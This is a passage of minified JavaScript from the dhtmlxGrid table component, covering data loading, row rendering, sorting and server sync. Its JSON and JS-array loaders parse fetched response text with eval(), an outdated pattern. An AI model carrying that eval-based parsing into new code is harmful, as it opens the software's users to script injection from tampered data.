m=g.getAttribute(\"type\");if(a.childNodes[c]){if(m){a.childNodes[c]._cellType=m}a.childNodes[c]._attrs=this._xml_attrs(g)}if(!g.getAttribute(\"xmlcontent\")){if(g.firstChild){g=g.firstChild.wholeText||g.firstChild.data}else{g=\"\"}}o.push(g)}for(e<s.length;e<a.childNodes.length;e++){a.childNodes[e]._attrs={}}if(a.parentNode&&a.parentNode.tagName==\"row\"){a._attrs.parent=a.parentNode.getAttribute(\"idd\")}this._fillRow(a,o);return a},_get_xml_data:function(c,a){c=c.firstChild;while(true){if(!c){return\"\"}if(c.tagName==\"cell\"){a--}if(a<0){break}c=c.nextSibling}return(c.firstChild?c.firstChild.data:\"\")},_fillRow:function(g,l){if(this.editor&&this.editor.parentNode&&this.editor.parentNode.idd==g.idd){this.editStop()}for(var c=0;c<g.childNodes.length;c++){if((c<l.length)||(this.defVal[c])){var e=g.childNodes[c]._cellIndex;var h=l[e];var a=this.cells4(g.childNodes[c]);if((this.defVal[e])&&((h==\"\")||(typeof(h)==\"undefined\"))){h=this.defVal[e]}if(a){a.setValue(h)}}else{g.childNodes[c].innerHTML=\"&nbsp;\";g.childNodes[c]._clearCell=true}}return g},_postRowProcessing:function(l,n){if(l._attrs[\"class\"]){l._css=l.className=l._attrs[\"class\"]}if(l._attrs.locked){l._locked=true}if(l._attrs.bgColor){l.bgColor=l._attrs.bgColor}var m=0;for(var e=0;e<l.childNodes.length;e++){var o=l.childNodes[e];var h=o._cellIndex;var g=o._attrs.style||l._attrs.style;if(g){o.style.cssText+=\";\"+g}if(o._attrs[\"class\"]){o.className=o._attrs[\"class\"]}g=o._attrs.align||this.cellAlign[h];if(g){o.align=g}o.vAlign=o._attrs.valign||this.cellVAlign[h];var a=o._attrs.bgColor||this.columnColor[h];if(a){o.bgColor=a}if(o._attrs.colspan&&!n){this.setColspan(l.idd,e+m,o._attrs.colspan);m+=(o._attrs.colspan-1)}if(this._hrrar&&this._hrrar[h]&&!n){o.style.display=\"none\"}}this.callEvent(\"onRowCreated\",[l.idd,l,null])},load:function(a,e,c){this.callEvent(\"onXLS\",[this]);if(arguments.length==2&&typeof e!=\"function\"){c=e;e=null}c=c||\"xml\";if(!this.xmlFileUrl){this.xmlFileUrl=a}this._data_type=c;this.xmlLoader=this.doLoadDetails;var g=this;this.xmlLoader=function(h){if(!g.callEvent){return}g[\"_process_\"+c](h.xmlDoc);if(!g._contextCallTimer){g.callEvent(\"onXLE\",[g,0,0,h.xmlDoc])}if(e){e();e=null}};return dhx4.ajax.get(a,this.xmlLoader)},loadXMLString:function(c,a){this.parse({responseXML:dhx4.ajax.parse(c)},a,\"xml\")},loadXML:function(a,c){this.load(a,c,\"xml\")},parse:function(e,c,a){if(arguments.length==2&&typeof c!=\"function\"){a=c;c=null}a=a||\"xml\";this._data_type=a;if(a==\"xml\"&&typeof e==\"string\"){e={responseXML:dhx4.ajax.parse(e)}}this[\"_process_\"+a](e);if(!this._contextCallTimer){this.callEvent(\"onXLE\",[this,0,0,e])}if(c){c()}},xml:{top:\"rows\",row:\"./row\",cell:\"./cell\",s_row:\"row\",s_cell:\"cell\",row_attrs:[],cell_attrs:[]},csv:{row:\"\\n\",cell:\",\"},_xml_attrs:function(c){var e={};if(c.attributes.length){for(var a=0;a<c.attributes.length;a++){e[c.attributes[a].name]=c.attributes[a].value}}return e},_process_xml:function(q){if(this._refresh_mode){return this._refreshFromXML(q)}this._parsing=true;var m=dhx4.ajax.xmltop(this.xml.top,q);if(m.tagName!=this.xml.top){return}var o=m.getAttribute(\"dhx_security\");if(o){dhtmlx.security_key=o}this._parseHead(m);var r=dhx4.ajax.xpath(this.xml.row,m);var l=parseInt(m.getAttribute(\"pos\")||0);var n=parseInt(m.getAttribute(\"total_count\")||0);if(!this.pagingOn){var n=Math.min(n,32000000/this._srdh)}var g=false;if(n&&n!=this.rowsBuffer.length){if(!this.rowsBuffer[n-1]){if(this.rowsBuffer.length){g=true}this.rowsBuffer[n-1]=null}if(n<this.rowsBuffer.length){this.rowsBuffer.splice(n,this.rowsBuffer.length-n);g=true}}if(this.isTreeGrid()){return this._process_tree_xml(m)}for(var c=0;c<r.length;c++){if(this.rowsBuffer[c+l]){continue}var a=r[c].getAttribute(\"id\")||(c+l+1);this.rowsBuffer[c+l]={idd:a,data:r[c],_parser:this._process_xml_row,_locator:this._get_xml_data};this.rowsAr[a]=r[c]}this.callEvent(\"onDataReady\",[]);if(g&&this._srnd){var e=this.objBox.scrollTop;this._reset_view();this.objBox.scrollTop=e}else{this.render_dataset()}this._parsing=false},_process_jsarray:function(data){this._parsing=true;data=data.responseText||data;if(typeof data==\"string\"){eval(\"dhtmlx.temp=\"+data+\";\");data=dhtmlx.temp}for(var i=0;i<data.length;i++){var id=i+1;this.rowsBuffer.push({idd:id,data:data[i],_parser:this._process_jsarray_row,_locator:this._get_jsarray_data});this.rowsAr[id]=data[i]}this.render_dataset();this._parsing=false},_process_csv:function(g){this._parsing=true;g=g.responseText||g;g=g.replace(/\\r/g,\"\");g=g.split(this.csv.row);if(this._csvHdr){this.clearAll();var e=g.splice(0,1)[0].split(this.csv.cell);if(!this._csvAID){e.splice(0,1)}this.setHeader(e.join(this.delim));this.init()}for(var c=0;c<g.length;c++){if(!g[c]&&c==g.length-1){continue}if(this._csvAID){var h=c+1;this.rowsBuffer.push({idd:h,data:g[c],_parser:this._process_csv_row,_locator:this._get_csv_data})}else{var a=g[c].split(this.csv.cell);var h=a.splice(0,1)[0];this.rowsBuffer.push({idd:h,data:a,_parser:this._process_jsarray_row,_locator:this._get_jsarray_data})}this.rowsAr[h]=g[c]}this.render_dataset();this._parsing=false},_process_js:function(a){return this._process_json(a,\"js\")},_process_json:function(data,mode){this._parsing=true;var data=data.responseText||data;if(typeof data==\"string\"){eval(\"dhtmlx.temp=\"+data+\";\");data=dhtmlx.temp}if(mode==\"js\"){if(data.data){data=data.data}for(var i=0;i<data.length;i++){var row=data[i];var id=row.id||(i+1);this.rowsBuffer.push({idd:id,data:row,_parser:this._process_js_row,_locator:this._get_js_data});this.rowsAr[id]=data[i]}}else{if(data.rows){for(var i=0;i<data.rows.length;i++){var id=data.rows[i].id;this.rowsBuffer.push({idd:id,data:data.rows[i],_parser:this._process_json_row,_locator:this._get_json_data});this.rowsAr[id]=data.rows[i]}}}if(data.dhx_security){dhtmlx.security_key=data.dhx_security}this.callEvent(\"onDataReady\",[]);this.render_dataset();this._parsing=false},render_dataset:function(g,a){if(this._srnd){if(this._fillers){return this._update_srnd_view()}a=Math.min((this._get_view_size()+(this._srnd_pr||0)),this.rowsBuffer.length)}if(this.pagingOn){g=Math.max((g||0),(this.currentPage-1)*this.rowsBufferOutSize);a=Math.min(this.currentPage*this.rowsBufferOutSize,this.rowsBuffer.length)}else{g=g||0;a=a||this.rowsBuffer.length}for(var e=g;e<a;e++){var l=this.render_row(e);if(l==-1){if(this.xmlFileUrl){if(this.callEvent(\"onDynXLS\",[e,(this._dpref?this._dpref:(a-e))])){this.load(this.xmlFileUrl+dhtmlx.url(this.xmlFileUrl)+\"posStart=\"+e+\"&count=\"+(this._dpref?this._dpref:(a-e)),this._data_type)}}a=e;break}if(!l.parentNode||!l.parentNode.tagName){this._insertRowAt(l,e);if(l._attrs.selected||l._attrs.select){this.selectRow(l,l._attrs.call?true:false,true);l._attrs.selected=l._attrs.select=null}}if(this._ads_count&&e-g==this._ads_count){var h=this;this._context_parsing=this._context_parsing||this._parsing;return this._contextCallTimer=window.setTimeout(function(){h._contextCallTimer=null;h.render_dataset(e,a);if(!h._contextCallTimer){if(h._context_parsing){h.callEvent(\"onXLE\",[])}else{h._fixAlterCss()}h.callEvent(\"onDistributedEnd\",[]);h._context_parsing=false}},this._ads_time)}}if(this._ads_count&&e==a){this.callEvent(\"onDistributedEnd\",[])}if(this._srnd&&!this._fillers){var c=this.rowsBuffer.length-a;this._fillers=[];if(this._fake&&!this._realfake){this._fake._fillers=[]}while(c>0){var n=(_isIE||window._FFrv)?Math.min(c,50000):c;var m=this._add_filler(a,n);if(m){this._fillers.push(m)}c-=n;a+=n}}this.setSizes()},render_row:function(c){if(!this.rowsBuffer[c]){return -1}if(this.rowsBuffer[c]._parser){var a=this.rowsBuffer[c];if(this.rowsAr[a.idd]&&this.rowsAr[a.idd].tagName==\"TR\"){return this.rowsBuffer[c]=this.rowsAr[a.idd]}var e=this._prepareRow(a.idd);this.rowsBuffer[c]=e;this.rowsAr[a.idd]=e;a._parser.call(this,e,a.data);this._postRowProcessing(e);return e}return this.rowsBuffer[c]},_get_cell_value:function(c,a,e){if(c._locator){if(this._c_order){a=this._c_order[a]}return c._locator.call(this,c.data,a)}return this.cells3(c,a)[e?e:\"getValue\"]()},sortRows:function(e,l,c){this.editStop();c=(c||\"asc\").toLowerCase();l=(l||this.fldSort[e]);e=e||0;if(this.isTreeGrid()){this.sortTreeRows(e,l,c)}else{var a={};var h=this.cellType[e];var m=\"getValue\";if(h==\"link\"){m=\"getContent\"}if(h==\"dhxCalendar\"||h==\"dhxCalendarA\"){m=\"getDate\"}for(var g=0;g<this.rowsBuffer.length;g++){a[this.rowsBuffer[g].idd]=this._get_cell_value(this.rowsBuffer[g],e,m)}this._sortRows(e,l,c,a)}this.callEvent(\"onAfterSorting\",[e,l,c])},_sortCore:function(e,l,c,a,h){var g=\"sort\";if(this._sst){h.stablesort=this.rowsCol.stablesort;g=\"stablesort\"}if(l.length>4){l=window[l]}if(l==\"cus\"){var m=this._customSorts[e];h[g](function(o,n){return m(a[o.idd],a[n.idd],c,o.idd,n.idd)})}else{if(typeof(l)==\"function\"){h[g](function(o,n){return l(a[o.idd],a[n.idd],c,o.idd,n.idd)})}else{if(l==\"str\"){h[g](function(o,n){if(c==\"asc\"){return a[o.idd]>a[n.idd]?1:(a[o.idd]<a[n.idd]?-1:0)}else{return a[o.idd]<a[n.idd]?1:(a[o.idd]>a[n.idd]?-1:0)}})}else{if(l==\"int\"){h[g](function(q,o){var n=parseFloat(a[q.idd]);n=isNaN(n)?-99999999999999:n;var r=parseFloat(a[o.idd]);r=isNaN(r)?-99999999999999:r;if(c==\"asc\"){return n-r}else{return r-n}})}else{if(l==\"date\"){h[g](function(q,o){var n=Date.parse(a[q.idd])||(Date.parse(\"01/01/1900\"));var r=Date.parse(a[o.idd])||(Date.parse(\"01/01/1900\"));if(c==\"asc\"){return n-r}else{return r-n}})}}}}}},_sortRows:function(e,g,c,a){this._sortCore(e,g,c,a,this.rowsBuffer);this._reset_view();this.callEvent(\"onGridReconstructed\",[])},_reset_view:function(e){if(!this.obj.rows[0]){return}if(this._lahRw){this._unsetRowHover(0,true)}this.callEvent(\"onResetView\",[]);var a=this.obj.rows[0].parentNode;var g=a.removeChild(a.childNodes[0],true);if(_isKHTML){for(var c=a.parentNode.childNodes.length-1;c>=0;c--){if(a.parentNode.childNodes[c].tagName==\"TR\"){a.parentNode.removeChild(a.parentNode.childNodes[c],true)}}}else{if(_isIE){for(var c=a.childNodes.length-1;c>=0;c--){a.childNodes[c].removeNode(true)}}else{a.innerHTML=\"\"}}a.appendChild(g);this.rowsCol=dhtmlxArray();if(this._sst){this.enableStableSorting(true)}this._fillers=this.undefined;if(!e){if(_isIE&&this._srnd){this.render_dataset()}else{this.render_dataset()}}},deleteRow:function(c,g){if(!g){g=this.getRowById(c)}if(!g){return}this.editStop();if(!this._realfake){if(this.callEvent(\"onBeforeRowDeleted\",[c])==false){return false}}var a=0;if(this.cellType._dhx_find(\"tree\")!=-1&&!this._realfake){a=this._h2.get[c].parent.id;this._removeTrGrRow(g)}else{if(g.parentNode){g.parentNode.removeChild(g)}var l=this.rowsCol._dhx_find(g);if(l!=-1){this.rowsCol._dhx_removeAt(l)}for(var e=0;e<this.rowsBuffer.length;e++){if(this.rowsBuffer[e]&&this.rowsBuffer[e].idd==c){this.rowsBuffer._dhx_removeAt(e);l=e;break}}}this.rowsAr[c]=null;for(var e=0;e<this.selectedRows.length;e++){if(this.selectedRows[e].idd==c){this.selectedRows._dhx_removeAt(e)}}if(this._srnd){for(var e=0;e<this._fillers.length;e++){var h=this._fillers[e];if(!h){continue}if(h[0]>=l){this._update_fillers(e,0,-1)}else{if(h[0]+h[1]>l){this._update_fillers(e,-1,0)}}}this._update_srnd_view()}if(this.pagingOn){this.changePage()}if(!this._realfake){this.callEvent(\"onAfterRowDeleted\",[c,a])}this.callEvent(\"onGridReconstructed\",[]);if(this._ahgr){this.setSizes()}return true},_addRow:function(l,m,c){if(c==-1||typeof c==\"undefined\"){c=this.rowsBuffer.length}if(typeof m==\"string\"){m=m.split(this.delim)}var n=this._prepareRow(l);n._attrs={};for(var e=0;e<n.childNodes.length;e++){n.childNodes[e]._attrs={}}this.rowsAr[n.idd]=n;if(this._h2){this._h2.get[n.idd].buff=n}this._fillRow(n,m);this._postRowProcessing(n);if(this._skipInsert){this._skipInsert=false;return this.rowsAr[n.idd]=n}if(this.pagingOn){this.rowsBuffer._dhx_insertAt(c,n);this.rowsAr[n.idd]=n;return n}if(this._fillers){this.rowsCol._dhx_insertAt(c,null);this.rowsBuffer._dhx_insertAt(c,n);if(this._fake){this._fake.rowsCol._dhx_insertAt(c,null)}this.rowsAr[n.idd]=n;var o=false;for(var g=0;g<this._fillers.length;g++){var h=this._fillers[g];if(h&&h[0]<=c&&(h[0]+h[1])>=c){h[1]=h[1]+1;var a=h[2].firstChild.style.height=parseInt(h[2].firstChild.style.height)+this._srdh+\"px\";o=true;if(this._fake){this._fake._fillers[g][1]++;this._fake._fillers[g][2].firstChild.style.height=a}}if(h&&h[0]>c){h[0]=h[0]+1;if(this._fake){this._fake._fillers[g][0]++}}}if(!o){this._fillers.push(this._add_filler(c,1,(c==0?{parentNode:this.obj.rows[0].parentNode,nextSibling:(this.rowsCol[1])}:this.rowsCol[c-1])))}return n}this.rowsBuffer._dhx_insertAt(c,n);return this._insertRowAt(n,c)},addRow:function(a,g,e){var c=this._addRow(a,g,e);if(!this.dragContext){this.callEvent(\"onRowAdded\",[a])}if(this.pagingOn){this.changePage(this.currentPage)}if(this._srnd){this._update_srnd_view()}c._added=true;if(this._ahgr){this.setSizes()}this.callEvent(\"onGridReconstructed\",[]);return c},_insertRowAt:function(e,g,c){this.rowsAr[e.idd]=e;if(this._skipInsert){this._skipInsert=false;return e}if((g<0)||((!g)&&(parseInt(g)!==0))){g=this.rowsCol.length}else{if(g>this.rowsCol.length){g=this.rowsCol.length}}if(this._cssEven){var a=e.className.replace(this._cssUnEven,\"\");if((this._cssSP?this.getLevel(e.idd):g)%2==1){e.className=a+\" \"+this._cssUnEven+(this._cssSU?(\" \"+this._cssUnEven+\"_\"+this.getLevel(e.idd)):\"\")}else{e.className=a+\" \"+this._cssEven+(this._cssSU?(\" \"+this._cssEven+\"_\"+this.getLevel(e.idd)):\"\")}}if(!c){if((g==(this.obj.rows.length-1))||(!this.rowsCol[g])){if(_isKHTML){this.obj.appendChild(e)}else{this.obj.firstChild.appendChild(e)}}else{this.rowsCol[g].parentNode.insertBefore(e,this.rowsCol[g])}}this.rowsCol._dhx_insertAt(g,e);this.callEvent(\"onRowInserted\",[e,g]);return e},getRowById:function(e){var c=this.rowsAr[e];if(c){if(c.tagName!=\"TR\"){for(var a=0;a<this.rowsBuffer.length;a++){if(this.rowsBuffer[a]&&this.rowsBuffer[a].idd==e){return this.render_row(a)}}if(this._h2){return this.render_row(null,c.idd)}}return c}return null},cellById:function(c,a){return this.cells(c,a)},cells:function(g,e){if(arguments.length==0){return this.cells4(this.cell)}else{var h=this.getRowById(g)}var a=(h._childIndexes?h.childNodes[h._childIndexes[e]]:h.childNodes[e]);if(!a&&h._childIndexes){a=h.firstChild||{}}return this.cells4(a)},cellByIndex:function(c,a){return this.cells2(c,a)},cells2:function(g,e){var h=this.render_row(g);var a=(h._childIndexes?h.childNodes[h._childIndexes[e]]:h.childNodes[e]);if(!a&&h._childIndexes){a=h.firstChild||{}}return this.cells4(a)},cells3:function(e,c){var a=(e._childIndexes?e.childNodes[e._childIndexes[c]]:e.childNodes[c]);return this.cells4(a)},cells4:function(a){var c=window[\"eXcell_\"+(a._cellType||this.cellType[a._cellIndex])];if(c){return new c(a)}},cells5:function(a,e){var e=e||(a._cellType||this.cellType[a._cellIndex]);if(!this._ecache[e]){if(!window[\"eXcell_\"+e]){var c=eXcell_ro}else{var c=window[\"eXcell_\"+e]}this._ecache[e]=new c(a)}this._ecache[e].cell=a;return this._ecache[e]},dma:function(a){if(!this._ecache){this._ecache={}}if(a&&!this._dma){this._dma=this.cells4;this.cells4=this.cells5}else{if(!a&&this._dma){this.cells4=this._dma;this._dma=null}}},getRowsNum:function(){return this.rowsBuffer.length},enableEditTabOnly:function(a){if(arguments.length>0){this.smartTabOrder=dhx4.s2b(a)}else{this.smartTabOrder=true}},setExternalTabOrder:function(h,a){var c=this;this.tabStart=(typeof(h)==\"object\")?h:document.getElementById(h);var e=this.tabStart.onkeydown;this.tabStart.onkeydown=function(m){if(e){e.call(this,m)}var l=(m||window.event);if(l.keyCode==9&&!l.shiftKey){l.cancelBubble=true;c.selectCell(0,0,0,0,1);if(c.smartTabOrder&&c.cells2(0,0).isDisabled()){c._key_events.k9_0_0.call(c)}this.blur();return false}};if(_isOpera){this.tabStart.onkeypress=this.tabStart.onkeydown}this.tabEnd=(typeof(a)==\"object\")?a:document.getElementById(a);var g=this.tabEnd.onkeydown;this.tabEnd.onkeydown=this.tabEnd.onkeypress=function(m){if(g){g.call(this,m)}var l=(m||window.event);if(l.keyCode==9&&l.shiftKey){l.cancelBubble=true;c.selectCell((c.getRowsNum()-1),(c.getColumnCount()-1),0,0,1);if(c.smartTabOrder&&c.cells2((c.getRowsNum()-1),(c.getColumnCount()-1)).isDisabled()){c._key_events.k9_0_1.call(c)}this.blur();return false}};if(_isOpera){this.tabEnd.onkeypress=this.tabEnd.onkeydown}},uid:function(){if(!this._ui_seed){this._ui_seed=(new Date()).valueOf()}return this._ui_seed++},clearAndLoad:function(){var a=this._pgn_skin;this._pgn_skin=null;this.clearAll();this._pgn_skin=a;this.load.apply(this,arguments)},getStateOfView:function(){if(this.pagingOn){var a=(this.currentPage-1)*this.rowsBufferOutSize;return[this.currentPage,a,Math.min(a+this.rowsBufferOutSize,this.rowsBuffer.length),this.rowsBuffer.length]}return[Math.floor(this.objBox.scrollTop/this._srdh),Math.ceil(parseInt(this.objBox.offsetHeight)/this._srdh),this.rowsBuffer.length]}};(function(){function g(m,n){this[m]=n}function l(m,n){this[m].call(this,n)}function e(m,n){this[m].call(this,n.join(this.delim))}function a(m,q){for(var o=0;o<q.length;o++){if(typeof q[o]==\"object\"){var r=this.getCombo(o);for(var n in q[o]){r.put(n,q[o][n])}}}}function h(m,v,q){var x=1;var u=[];function w(A,y,C){if(!u[y]){u[y]=[]}if(typeof C==\"object\"){C.toString=function(){return this.text}}u[y][A]=C}for(var r=0;r<v.length;r++){if(typeof(v[r])==\"object\"&&v[r].length){for(var o=0;o<v[r].length;o++){w(r,o,v[r][o])}}else{w(r,0,v[r])}}for(var r=0;r<u.length;r++){for(var o=0;o<u[0].length;o++){var s=u[r][o];u[r][o]=(s||\"\").toString()||\"&nbsp;\";if(s&&s.colspan){for(var n=1;n<s.colspan;n++){w(o+n,r,\"#cspan\")}}if(s&&s.rowspan){for(var n=1;n<s.rowspan;n++){w(o,r+n,\"#rspan\")}}}}this.setHeader(u[0]);for(var r=1;r<u.length;r++){this.attachHeader(u[r])}}var c=[{name:\"label\",def:\"&nbsp;\",operation:\"setHeader\",type:h},{name:\"id\",def:\"\",operation:\"columnIds\",type:g},{name:\"width\",def:\"*\",operation:\"setInitWidths\",type:e},{name:\"align\",def:\"left\",operation:\"cellAlign\",type:g},{name:\"valign\",def:\"middle\",operation:\"cellVAlign\",type:g},{name:\"sort\",def:\"na\",operation:\"fldSort\",type:g},{name:\"type\",def:\"ro\",operation:\"setColTypes\",type:e},{name:\"options\",def:\"\",operation:\"\",type:a}];dhtmlx.extend_api(\"dhtmlXGridObject\",{_init:function(m){return[m.parent]},image_path:\"setImagePath\",columns:\"columns\",rows:\"rows\",headers:\"headers\",skin:\"setSkin\",smart_rendering:\"enableSmartRendering\",css:\"enableAlterCss\",auto_height:\"enableAutoHeight\",save_hidden:\"enableAutoHiddenColumnsSaving\",save_cookie:\"enableAutoSaving\",save_size:\"enableAutoSizeSaving\",auto_width:\"enableAutoWidth\",block_selection:\"enableBlockSelection\",csv_id:\"enableCSVAutoID\",csv_header:\"enableCSVHeader\",cell_ids:\"enableCellIds\",colspan:\"enableColSpan\",column_move:\"enableColumnMove\",context_menu:\"enableContextMenu\",distributed:\"enableDistributedParsing\",drag:\"enableDragAndDrop\",drag_order:\"enableDragOrder\",tabulation:\"enableEditTabOnly\",header_images:\"enableHeaderImages\",header_menu:\"enableHeaderMenu\",keymap:\"enableKeyboardSupport\",mouse_navigation:\"enableLightMouseNavigation\",markers:\"enableMarkedCells\",math_editing:\"enableMathEditing\",math_serialization:\"enableMathSerialization\",drag_copy:\"enableMercyDrag\",multiline:\"enableMultiline\",multiselect:\"enableMultiselect\",save_column_order:\"enableOrderSaving\",hover:\"enableRowsHover\",rowspan:\"enableRowspan\",smart:\"enableSmartRendering\",save_sorting:\"enableSortingSaving\",stable_sorting:\"enableStableSorting\",undo:\"enableUndoRedo\",csv_cell:\"setCSVDelimiter\",date_format:\"setDateFormat\",drag_behavior:\"setDragBehavior\",editable:\"setEditable\",without_header:\"setNoHeader\",submit_changed:\"submitOnlyChanged\",submit_serialization:\"submitSerialization\",submit_selected:\"submitOnlySelected\",submit_id:\"submitOnlyRowID\",xml:\"load\"},{columns:function(r){for(var m=0;m<c.length;m++){var q=[];for(var n=0;n<r.length;n++){q[n]=r[n][c[m].name]||c[m].def}var o=c[m].type||l;o.call(this,c[m].operation,q,r)}this.init()},rows:function(m){},headers:function(n){for(var m=0;m<n.length;m++){this.attachHeader(n[m])}}})})();dhtmlXGridObject.prototype._dp_init=function(a){a.attachEvent(\"insertCallback\",function(c,g){if(this.obj._h2){this.obj.addRow(g,e,null,parent)}else{this.obj.addRow(g,[],0)}var e=this.obj.getRowById(g);if(e){this.obj._process_xml_row(e,c.firstChild);this.obj._postRowProcessing(e)}});a.attachEvent(\"updateCallback\",function(c,g){var e=this.obj.getRowById(g);if(e){this.obj._process_xml_row(e,c.firstChild);this.obj._postRowProcessing(e)}});a.attachEvent(\"deleteCallback\",function(c,e){this.obj.setUserData(e,this.action_param,\"true_deleted\");this.obj.deleteRow(e)});a._methods=[\"setRowTextStyle\",\"setCellTextStyle\",\"changeRowId\",\"deleteRow\"];this.attachEvent(\"onEditCell\",function(g,h,e){if(a._columns&&!a._columns[e]){return true}var c=this.cells(h,e);if(g==1){if(c.isCheckbox()){a.setUpdated(h,true)}}else{if(g==2){if(c.wasChanged()){a.setUpdated(h,true)}}}return true});this.attachEvent(\"onRowPaste\",function(c){a.setUpdated(c,true)});this.attachEvent(\"onUndo\",function(c){a.setUpdated(c,true)});this.attachEvent(\"onRowIdChange\",function(g,c){var e=a.findRow(g);if(e<a.updatedRows.length){a.updatedRows[e]=c}});this.attachEvent(\"onSelectStateChanged\",function(c){if(a.updateMode==\"row\"){a.sendData()}return true});this.attachEvent(\"onEnter\",function(e,c){if(a.updateMode==\"row\"){a.sendData()}return true});this.attachEvent(\"onBeforeRowDeleted\",function(c){if(a._silent_mode||(!this.rowsAr[c])){return true}if(this.dragContext&&a.dnd){window.setTimeout(function(){a.setUpdated(c,true)},1);return true}var e=a.getState(c);if(this._h2){this._h2.forEachChild(c,function(g){a.setUpdated(g.id,false);a.markRow(g.id,true,\"deleted\")},this)}if(e==\"inserted\"){a.set_invalid(c,false);a.setUpdated(c,false);return true}if(e==\"deleted\"){return false}if(e==\"true_deleted\"){a.setUpdated(c,false);return true}a.setUpdated(c,true,\"deleted\");return false});this.attachEvent(\"onBindUpdate\",function(c){if(typeof c==\"object\"){c=c.id}a.setUpdated(c,true)});this.attachEvent(\"onRowAdded\",function(c){if(this.dragContext&&a.dnd){return true}a.setUpdated(c,true,\"inserted\");return true});a._getRowData=function(g,s){var m=[];m.gr_id=g;if(this.obj.isTreeGrid()){m.gr_pid=this.obj.getParentId(g)}var e=this.obj.getRowById(g);for(var n=0;n<this.obj._cCount;n++){if(this.obj._c_order){var o=this.obj._c_order[n]}else{var o=n}var q=this.obj.cells(e.idd,n);if(this._changed&&!q.wasChanged()){continue}if(this._endnm){m[this.obj.getColumnId(n)]=q.getValue()}else{m[\"c\"+o]=q.getValue()}}var h=this.obj.UserData[g];if(h){for(var l=0;l<h.keys.length;l++){if(h.keys[l]&&h.keys[l].indexOf(\"__\")!=0){m[h.keys[l]]=h.values[l]}}}var h=this.obj.UserData.gridglobaluserdata;if(h){for(var l=0;l<h.keys.length;l++){m[h.keys[l]]=h.values[l]}}return m};a._clearUpdateFlag=function(e){var g=this.obj.getRowById(e);if(g){for(var c=0;c<this.obj._cCount;c++){this.obj.cells(e,c).cell.wasChanged=false}}};a.checkBeforeUpdate=function(l){var h=true;var c=[];for(var g=0;g<this.obj._cCount;g++){if(this.mandatoryFields[g]){var e=this.mandatoryFields[g].call(this.obj,this.obj.cells(l,g).getValue(),l,g);if(typeof e==\"string\"){this.messages.push(e);h=false}else{h&=e;c[g]=!e}}}if(!h){this.set_invalid(l,\"invalid\",c);this.setUpdated(l,false)}return h}};dhx4.attachEvent(\"onGridCreated\",function(c){c._con_f_used=[].concat(c._con_f_used);dhtmlXGridObject.prototype._con_f_used=[];var a=function(l){l=l.replace(/(\\?|\\&)connector[^\\f]*/g,\"\");return l+(l.indexOf(\"?\")!=-1?\"&\":\"?\")+\"connector=true\"+(this.hdr.rows.length>0?\"&dhx_no_header=1\":\"\")};var h=function(l){return a.call(this,l)+(this._connector_sorting||\"\")+(this._connector_filter||\"\")};var g=function(m,n,l){this._connector_sorting=\"&dhx_sort[\"+n+\"]=\"+l;return h.call(this,m)};var e=function(m,l,o){var q=[];for(var n=0;n<l.length;n++){q[n]=\"dhx_filter[\"+l[n]+\"]=\"+encodeURIComponent(o[n])}this._connector_filter=\"&\"+q.join(\"&\");return h.call(this,m)};c.attachEvent(\"onCollectValues\",function(l){if(this._con_f_used[l]){if(typeof(this._con_f_used[l])==\"object\"){return this._con_f_used[l]}else{return false}}return true});c.attachEvent(\"onDynXLS\",function(){if(this.xmlFileUrl){this.xmlFileUrl=h.call(this,this.xmlFileUrl)}return true});c.attachEvent(\"onBeforeSorting\",function(o,n,m){if(n==\"connector\"){var l=this;this.clearAndLoad(g.call(this,this.xmlFileUrl,o,m),function(){l.setSortImgState(true,o,m)});return false}return true});c.attachEvent(\"onFilterStart\",function(m,l){if(this._con_f_used.length){var o=this.getSortingState();var n=this;this.clearAndLoad(e.call(this,this.xmlFileUrl,m,l));if(o.length){n.setSortImgState(true,o[0],o[1])}return false}return true})});dhtmlXGridObject.prototype._con_f_used=[];dhtmlXGridObject.prototype._in_header_connector_text_filter=function(c,a){if(!this._con_f_used[a]){this._con_f_used[a]=1}return this._in_header_text_filter(c,a)};dhtmlXGridObject.prototype._in_header_connector_select_filter=function(c,a){if(!this._con_f_used[a]){this._con_f_used[a]=2}return this._in_header_select_filter(c,a)};if(!dhtmlXGridObject.prototype.load_connector){dhtmlXGridObject.prototype.load_connector=dhtmlXGridObject.prototype.load;dhtmlXGridObject.prototype.load=function(c,h,g){if(!this._colls_loaded&&this.cellType){var a=[];for(var e=0;e<this.cellType.length;e++){if(this.cellType[e].indexOf(\"co\")==0||this.cellType[e].indexOf(\"clist\")==0||this._con_f_used[e]==2){a.push(e)}}if(a.length){arguments[0]+=(arguments[0].indexOf(\"?\")!=-1?\"&\":\"?\")+\"connector=true&dhx_colls=\"+a.join(\",\")}}return this.load_connector.apply(this,arguments)};dhtmlXGridObject.prototype._parseHead_connector=dhtmlXGridObject.prototype._parseHead;dhtmlXGridObject.prototype._parseHead=function(c,u,q){this._parseHead_connector.apply(this,arguments);if(!this._colls_loaded){var r=dhx4.ajax.xpath(\"./coll_options\",arguments[0]);for(var m=0;m<r.length;m++){var o=r[m].getAttribute(\"for\");var s=[];var g=null;if(this.cellType[o]==\"combo\"){g=this.getColumnCombo(o)}else{if(this.cellType[o].indexOf(\"co\")==0){g=this.getCombo(o)}}var l=dhx4.ajax.xpath(\"./item\",r[m]);var a=[];for(var h=0;h<l.length;h++){var e=l[h].getAttribute(\"value\");if(g){var n=l[h].getAttribute(\"label\")||e;if(g.addOption){a.push([e,n])}else{g.put(e,n)}s[s.length]=n}else{s[s.length]=e}}if(a.length){if(g){g.addOption(a)}}else{if(s.length&&!g){if(this.registerCList){this.registerCList(o*1,s)}}}if(this._con_f_used[o*1]){this._con_f_used[o*1]=s}}this._colls_loaded=true}}}function dhtmlXGridCellObject(a){this.destructor=function(){this.cell.obj=null;this.cell=null;this.grid=null;this.base=null;return null};this.cell=a;this.getValue=function(){if((this.cell.textContent)&&(this.cell.textContent.tagName==\"TEXTAREA\")){return this.cell.textContent.value}else{return this.cell.innerHTML._dhx_trim()}};this.getMathValue=function(){if(this.cell.original){return this.cell.original}else{return this.getValue()}};this.getFont=function(){arOut=new Array(3);if(this.cell.style.fontFamily){arOut[0]=this.cell.style.fontFamily}if(this.cell.style.fontWeight==\"bold\"||this.cell.parentNode.style.fontWeight==\"bold\"){arOut[1]=\"bold\"}if(this.cell.style.fontStyle==\"italic\"||this.cell.parentNode.style.fontWeight==\"italic\"){arOut[1]+=\"italic\"}if(this.cell.style.fontSize){arOut[2]=this.cell.style.fontSize}else{arOut[2]=\"\"}return arOut.join(\"-\")};this.getTextColor=function(){if(this.cell.style.color){return 